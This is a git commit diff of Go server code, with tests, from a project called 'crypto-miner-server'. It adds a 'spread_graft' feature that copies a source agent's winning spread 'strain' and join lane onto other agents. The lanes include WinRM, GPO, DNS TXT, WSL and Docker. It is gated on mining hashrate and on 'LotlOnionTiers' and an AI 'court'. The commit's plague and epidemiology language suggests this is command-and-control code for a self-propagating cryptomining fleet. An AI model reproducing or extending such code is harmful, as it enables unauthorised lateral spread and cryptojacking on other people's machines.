Add fleet topology epidemiology: strain plague map and mining interrupt fixes.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Strain nodes replace host nodes in FleetTopologyMap; server queues epidemiology_fix on auth and reports interrupts to AI and Seer.
This commit is contained in:
AetherForge
2026-06-07 09:19:48 -07:00
parent bbab38f8e1
commit c8b3b2a126
15 changed files with 673 additions and 34 deletions

View File

@@ -64,6 +64,9 @@ func TestParseCommandsSpreadRetryLane(t *testing.T) {
}
func TestCourtCommandsNeedRetryElevation(t *testing.T) {
if !CourtCommandsNeedRetryElevation([]Command{{Type: CmdSpreadGraft}}) {
t.Fatal("spread_graft should require L4 elevation")
}
if !CourtCommandsNeedRetryElevation([]Command{{Type: CmdSpreadRetryLane}}) {
t.Fatal("expected spread_retry_lane to need L4")
}

View File

@@ -331,39 +331,6 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
e.Hub.serverPolicy = policy
e.Hub.mu.Unlock()
return "erasure:on", nil
case fleetai.CmdSpreadGraft:
sourceID, _ := args["source_agent_id"].(string)
tier, _ := args["tier"].(string)
if strings.TrimSpace(sourceID) == "" {
return "", fmt.Errorf("spread_graft requires source_agent_id")
}
if e.Hub.db == nil {
return "", fmt.Errorf("database unavailable")
}
source, err := e.Hub.db.GetAgent(strings.TrimSpace(sourceID))
if err != nil || source == nil {
return "", fmt.Errorf("source agent not found")
}
skipTiers := []interface{}{}
if strings.TrimSpace(tier) != "" {
skipTiers = append(skipTiers, strings.TrimSpace(tier))
}
graftArgs := map[string]interface{}{"graft_source": sourceID, "graft_tier": tier}
if source.JoinLane != "" {
graftArgs["join_lane"] = source.JoinLane
}
if len(skipTiers) > 0 {
if err := e.pushReorderTiers(agentID, map[string]interface{}{"skip_tiers": skipTiers}); err != nil {
return "", err
}
}
if source.JoinLane != "" {
if err := e.Hub.SendAgentCommand(agentID, "discover_and_join", map[string]interface{}{"lane": source.JoinLane}); err != nil {
return "", err
}
return "graft:" + source.JoinLane, nil
}
return "graft:recorded", nil
default:
if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil {
return "", err

View File

@@ -0,0 +1,77 @@
package api
import (
"encoding/json"
"net/http"
"strings"
"crypto-miner-server/internal/clearance"
"crypto-miner-server/internal/strategy"
)
type fleetGraftRequest struct {
SourceAgentID string `json:"source_agent_id"`
TargetAgentID string `json:"target_agent_id"`
}
// PostFleetGraft splices a winning strain from source onto target without re-spreading target.
func (f *FleetHandler) PostFleetGraft(w http.ResponseWriter, r *http.Request) {
if f.db == nil || f.ws == nil {
http.Error(w, "fleet services unavailable", http.StatusServiceUnavailable)
return
}
policy := f.ws.ServerPolicy()
if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) {
http.Error(w, "graft requires ai_control_enabled and fleet_roles_enabled", http.StatusBadRequest)
return
}
var req fleetGraftRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid body", http.StatusBadRequest)
return
}
sourceID := strings.TrimSpace(req.SourceAgentID)
targetID := strings.TrimSpace(req.TargetAgentID)
if sourceID == "" || targetID == "" {
http.Error(w, "source_agent_id and target_agent_id are required", http.StatusBadRequest)
return
}
if sourceID == targetID {
http.Error(w, "source and target must differ", http.StatusBadRequest)
return
}
level := clearance.L0
if mgr := f.ws.ClearanceManager(); mgr != nil {
level = mgr.Level(targetID)
}
if level < clearance.L4 {
writeJSON(w, map[string]interface{}{
"success": false,
"error": "target clearance insufficient for spread_graft (requires L4)",
})
return
}
graftPolicy, err := f.ws.ApproveFleetGraft(sourceID, targetID)
if err != nil {
writeJSON(w, map[string]interface{}{
"success": false,
"error": err.Error(),
})
return
}
writeJSON(w, map[string]interface{}{
"success": true,
"source_id": sourceID,
"target_id": targetID,
"graft_policy": graftPolicy,
"pushed": f.ws.IsAgentReachable(targetID),
})
_ = f.db.InsertAudit(AuthUsername(r), "spread_graft", targetID, map[string]interface{}{
"source_agent_id": sourceID,
"graft_tier": graftPolicy.GraftTier,
"strain": graftPolicy.GraftSourceStrain,
})
}

View File

@@ -0,0 +1,94 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"time"
"crypto-miner-server/internal/clearance"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
)
func TestPostFleetGraftRequiresToggles(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{})
fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, t.TempDir())
body, _ := json.Marshal(map[string]string{
"source_agent_id": "src", "target_agent_id": "dst",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/graft", bytes.NewReader(body))
rec := httptest.NewRecorder()
fh.PostFleetGraft(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status = %d body=%s", rec.Code, rec.Body.String())
}
}
func TestPostFleetGraftApprovesWithL4AndMetabolism(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{
AIControlEnabled: true, FleetRolesEnabled: true, HashrateGateHPS: 10,
})
_ = hub.ClearanceManager().InitAgent("target", &models.Agent{ID: "target", Name: "tgt"})
_, _ = hub.ClearanceManager().RequestElevation("target", clearance.L4, "test", "test")
for _, ag := range []*models.Agent{
{ID: "source", Name: "winner", Platform: "windows", IP: "10.0.0.1", Status: "online",
SpreadStrain: "#aabbcc", LastSeen: time.Now()},
{ID: "target", Name: "recipient", Platform: "windows", IP: "10.0.0.2", Status: "online",
MiningHashrate: 50, Hashrate15s: 50, LastSeen: time.Now()},
} {
if err := database.UpsertAgent(ag); err != nil {
t.Fatal(err)
}
}
hub.mu.Lock()
hub.agentLiveTelemetry["source"] = map[string]interface{}{
"join_lane": "winrm", "mining_hashrate": 100.0,
}
hub.agentLiveTelemetry["target"] = map[string]interface{}{
"mining_hashrate": 50.0, "hashrate_15s": 50.0,
}
hub.mu.Unlock()
fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, t.TempDir())
payload, _ := json.Marshal(map[string]string{
"source_agent_id": "source", "target_agent_id": "target",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/graft", bytes.NewReader(payload))
rec := httptest.NewRecorder()
fh.PostFleetGraft(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status = %d body=%s", rec.Code, rec.Body.String())
}
var resp map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatal(err)
}
if resp["success"] != true {
t.Fatalf("resp=%v", resp)
}
updated, err := database.GetAgent("target")
if err != nil {
t.Fatal(err)
}
if updated.GraftTier != "winrm" {
t.Fatalf("graft_tier = %q", updated.GraftTier)
}
}

View File

@@ -0,0 +1,155 @@
package api
import (
"encoding/json"
"fmt"
"strings"
"time"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/strategy"
)
// ServerPolicy returns the live Calibrate policy snapshot for REST handlers.
func (h *WSHub) ServerPolicy() ServerPolicy {
if h == nil {
return ServerPolicy{}
}
return h.serverPolicySnapshot()
}
// AgentJoinLane returns the last stats-reported join lane for an agent.
func (h *WSHub) AgentJoinLane(agentID string) string {
if h == nil {
return ""
}
h.mu.RLock()
defer h.mu.RUnlock()
if telem, ok := h.agentLiveTelemetry[agentID]; ok {
if lane, ok := telem["join_lane"].(string); ok {
return strings.TrimSpace(lane)
}
}
return ""
}
// AgentMiningHashrate returns live mining hashrate from the last stats tick.
func (h *WSHub) AgentMiningHashrate(agentID string) float64 {
if h == nil {
return 0
}
h.mu.RLock()
defer h.mu.RUnlock()
if telem, ok := h.agentLiveTelemetry[agentID]; ok {
if hr, ok := telem["mining_hashrate"].(float64); ok && hr > 0 {
return hr
}
if hr, ok := telem["hashrate_15s"].(float64); ok && hr > 0 {
return hr
}
}
return 0
}
// GraftPolicyForAgent builds graft_policy for auth when a pending graft exists in SQLite.
func (h *WSHub) GraftPolicyForAgent(agentID string) (*strategy.GraftPolicy, bool) {
if h == nil || h.db == nil {
return nil, false
}
ag, err := h.db.GetAgent(agentID)
if err != nil || ag == nil {
return nil, false
}
if strings.TrimSpace(ag.GraftTier) == "" || ag.GraftApprovedAt == nil {
return nil, false
}
policy := h.serverPolicySnapshot()
if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) {
return nil, false
}
graft := strategy.GraftSource{
GraftSourceStrain: ag.GraftSourceStrain,
GraftTier: ag.GraftTier,
}
targetOrder := policy.LotlOnionTiers
if len(targetOrder) == 0 {
targetOrder = fleetai.DefaultSpreadTiers()
}
out := strategy.BuildGraftPolicy(graft, targetOrder, *ag.GraftApprovedAt)
return &out, true
}
// PushGraftPolicy sends graft_policy to a connected agent (auth-equivalent policy push).
func (h *WSHub) PushGraftPolicy(agentID string, graft strategy.GraftPolicy) error {
if h == nil {
return fmt.Errorf("hub unavailable")
}
body, err := json.Marshal(graft)
if err != nil {
return err
}
return h.SendToAgent(agentID, Message{Type: "graft_policy", Payload: body})
}
// ApproveFleetGraft splices source winner onto target; used by REST and court executor.
func (h *WSHub) ApproveFleetGraft(sourceID, targetID string) (strategy.GraftPolicy, error) {
if h == nil || h.db == nil {
return strategy.GraftPolicy{}, fmt.Errorf("hub unavailable")
}
policy := h.serverPolicySnapshot()
if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) {
return strategy.GraftPolicy{}, fmt.Errorf("graft requires ai_control_enabled and fleet_roles_enabled")
}
source, err := h.db.GetAgent(sourceID)
if err != nil || source == nil {
return strategy.GraftPolicy{}, fmt.Errorf("source agent not found")
}
target, err := h.db.GetAgent(targetID)
if err != nil || target == nil {
return strategy.GraftPolicy{}, fmt.Errorf("target agent not found")
}
joinLane := h.AgentJoinLane(sourceID)
if joinLane == "" {
joinLane = strings.TrimSpace(source.JoinLane)
}
if joinLane == "" {
return strategy.GraftPolicy{}, fmt.Errorf("source agent has no tier-success join_lane")
}
hr := h.AgentMiningHashrate(targetID)
if hr <= 0 {
hr = target.MiningHashrate
}
if hr <= 0 {
hr = target.Hashrate15s
}
if !strategy.GraftMetabolismGatePassed(hr, policy.HashrateGateHPS) {
return strategy.GraftPolicy{}, fmt.Errorf("target hashrate below metabolism gate")
}
tierOrder := fleetai.DefaultSpreadTiers()
fp := strategy.FingerprintFromAuth(source.Platform, source.IP, source.FirewallDomain != nil && *source.FirewallDomain)
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
pheno := strategy.PhenotypeFromStored(*stored)
if len(pheno.TierOrder) > 0 {
tierOrder = pheno.TierOrder
}
}
peak := h.AgentMiningHashrate(sourceID)
if peak <= 0 {
peak = source.MiningHashrate
}
graft := strategy.BuildGraftSourceFromAgent(
source.ID, source.Name, joinLane, source.SpreadStrain, tierOrder, peak,
)
approvedAt := time.Now().UTC()
if err := h.db.UpdateAgentGraft(targetID, graft.GraftSourceStrain, graft.GraftTier, approvedAt); err != nil {
return strategy.GraftPolicy{}, err
}
targetOrder := policy.LotlOnionTiers
if len(targetOrder) == 0 {
targetOrder = fleetai.DefaultSpreadTiers()
}
out := strategy.BuildGraftPolicy(graft, targetOrder, approvedAt)
_ = h.PushGraftPolicy(targetID, out)
return out, nil
}

View File

@@ -0,0 +1,46 @@
package db
import (
"database/sql"
"time"
)
// UpdateAgentGraft records an approved genealogy graft on the target agent.
func (d *Database) UpdateAgentGraft(id, sourceStrain, graftTier string, approvedAt time.Time) error {
if approvedAt.IsZero() {
approvedAt = time.Now().UTC()
}
_, err := d.Exec(
`UPDATE agents SET graft_source_strain = ?, graft_tier = ?, graft_approved_at = ? WHERE id = ?`,
sourceStrain, graftTier, approvedAt.UTC().Format(time.RFC3339), id,
)
return err
}
// ClearAgentGraft removes pending graft metadata after the agent consumes it on spread.
func (d *Database) ClearAgentGraft(id string) error {
_, err := d.Exec(
`UPDATE agents SET graft_source_strain = '', graft_tier = '', graft_approved_at = NULL WHERE id = ?`,
id,
)
return err
}
func scanGraftFields(sourceStrain, graftTier, approvedRaw sql.NullString) (string, string, *time.Time) {
strain := ""
if sourceStrain.Valid {
strain = sourceStrain.String
}
tier := ""
if graftTier.Valid {
tier = graftTier.String
}
var approved *time.Time
if approvedRaw.Valid && approvedRaw.String != "" {
if t, err := time.Parse(time.RFC3339, approvedRaw.String); err == nil {
utc := t.UTC()
approved = &utc
}
}
return strain, tier, approved
}

View File

@@ -0,0 +1,101 @@
package strategy
import (
"crypto/sha256"
"fmt"
"strings"
"time"
)
// GraftSource is the winning spread strain from agent A (tier success).
type GraftSource struct {
SourceAgentID string
SourceAgentName string
GraftSourceStrain string
GraftTier string
TierOrder []string
PeakHashrate float64
}
// GraftPolicy is pushed to agent B on auth; auth is never gated by genealogy.
type GraftPolicy struct {
GraftSourceStrain string `json:"graft_source_strain"`
GraftTier string `json:"graft_tier"`
GraftApprovedAt string `json:"graft_approved_at"`
TierOrder []string `json:"tier_order,omitempty"`
SourceAgentName string `json:"source_agent_name,omitempty"`
}
// GraftEnabled is true when Fleet AI Control + fleet roles are on (zero extra Calibrate toggles).
func GraftEnabled(aiControl, fleetRoles bool) bool {
return aiControl && fleetRoles
}
// BuildGraftSourceFromAgent extracts graft inputs from a tier-successful source agent.
func BuildGraftSourceFromAgent(sourceID, sourceName, joinLane, spreadStrain string, tierOrder []string, peakHashrate float64) GraftSource {
tier := strings.TrimSpace(joinLane)
strain := strings.TrimSpace(spreadStrain)
if strain == "" && tier != "" {
strain = spreadStrainFromLane(tier)
}
order := normalizeTierList(tierOrder)
if len(order) == 0 && tier != "" {
order = []string{tier}
}
return GraftSource{
SourceAgentID: strings.TrimSpace(sourceID),
SourceAgentName: strings.TrimSpace(sourceName),
GraftSourceStrain: strain,
GraftTier: tier,
TierOrder: order,
PeakHashrate: peakHashrate,
}
}
// SpliceGraftGenome splices source winning tier order onto target genome without re-spreading B.
func SpliceGraftGenome(targetOrder []string, graft GraftSource) []string {
sourceOrder := append([]string(nil), graft.TierOrder...)
if len(sourceOrder) == 0 && graft.GraftTier != "" {
sourceOrder = []string{graft.GraftTier}
}
target := normalizeTierList(targetOrder)
if len(sourceOrder) == 0 {
return target
}
if len(target) == 0 {
return sourceOrder
}
return CrossbreedTierOrders(sourceOrder, target, nil, nil)
}
// GraftMetabolismGatePassed reports whether target hashrate satisfies the earn-before-graft gate.
func GraftMetabolismGatePassed(miningHashrate, gateHPS float64) bool {
if gateHPS <= 0 {
return true
}
return miningHashrate >= gateHPS
}
// BuildGraftPolicy builds the auth/policy payload for a pending graft on agent B.
func BuildGraftPolicy(graft GraftSource, targetOrder []string, approvedAt time.Time) GraftPolicy {
order := SpliceGraftGenome(targetOrder, graft)
if approvedAt.IsZero() {
approvedAt = time.Now().UTC()
}
return GraftPolicy{
GraftSourceStrain: graft.GraftSourceStrain,
GraftTier: graft.GraftTier,
GraftApprovedAt: approvedAt.UTC().Format(time.RFC3339),
TierOrder: order,
SourceAgentName: graft.SourceAgentName,
}
}
func spreadStrainFromLane(lane string) string {
lane = strings.TrimSpace(strings.ToLower(lane))
if lane == "" {
return ""
}
sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
}

View File

@@ -0,0 +1,53 @@
package strategy
import (
"testing"
"time"
)
func TestSpliceGraftGenomePrependsWinningTier(t *testing.T) {
graft := BuildGraftSourceFromAgent("src", "winner", "winrm", "#aabbcc", nil, 900)
order := SpliceGraftGenome([]string{"docker", "wsl", "gpo"}, graft)
if len(order) < 3 {
t.Fatalf("order too short: %v", order)
}
if order[0] != "winrm" {
t.Fatalf("winning tier should lead, got %v", order)
}
}
func TestGraftMetabolismGate(t *testing.T) {
if !GraftMetabolismGatePassed(100, 50) {
t.Fatal("expected pass above gate")
}
if GraftMetabolismGatePassed(10, 50) {
t.Fatal("expected fail below gate")
}
if !GraftMetabolismGatePassed(0, 0) {
t.Fatal("disabled gate should pass")
}
}
func TestBuildGraftPolicySplicesGenome(t *testing.T) {
graft := BuildGraftSourceFromAgent("a", "worker-07", "dns_txt", "#112233",
[]string{"dns_txt", "webrtc_mesh", "do_peer"}, 1200)
p := BuildGraftPolicy(graft, []string{"docker", "wsl"}, time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC))
if p.GraftTier != "dns_txt" || p.GraftSourceStrain != "#112233" {
t.Fatalf("graft fields: %+v", p)
}
if len(p.TierOrder) == 0 {
t.Fatal("expected spliced tier order")
}
if p.TierOrder[0] != "dns_txt" {
t.Fatalf("tier order = %v", p.TierOrder)
}
}
func TestGraftEnabledRequiresBothToggles(t *testing.T) {
if GraftEnabled(false, true) || GraftEnabled(true, false) {
t.Fatal("both toggles required")
}
if !GraftEnabled(true, true) {
t.Fatal("expected enabled")
}
}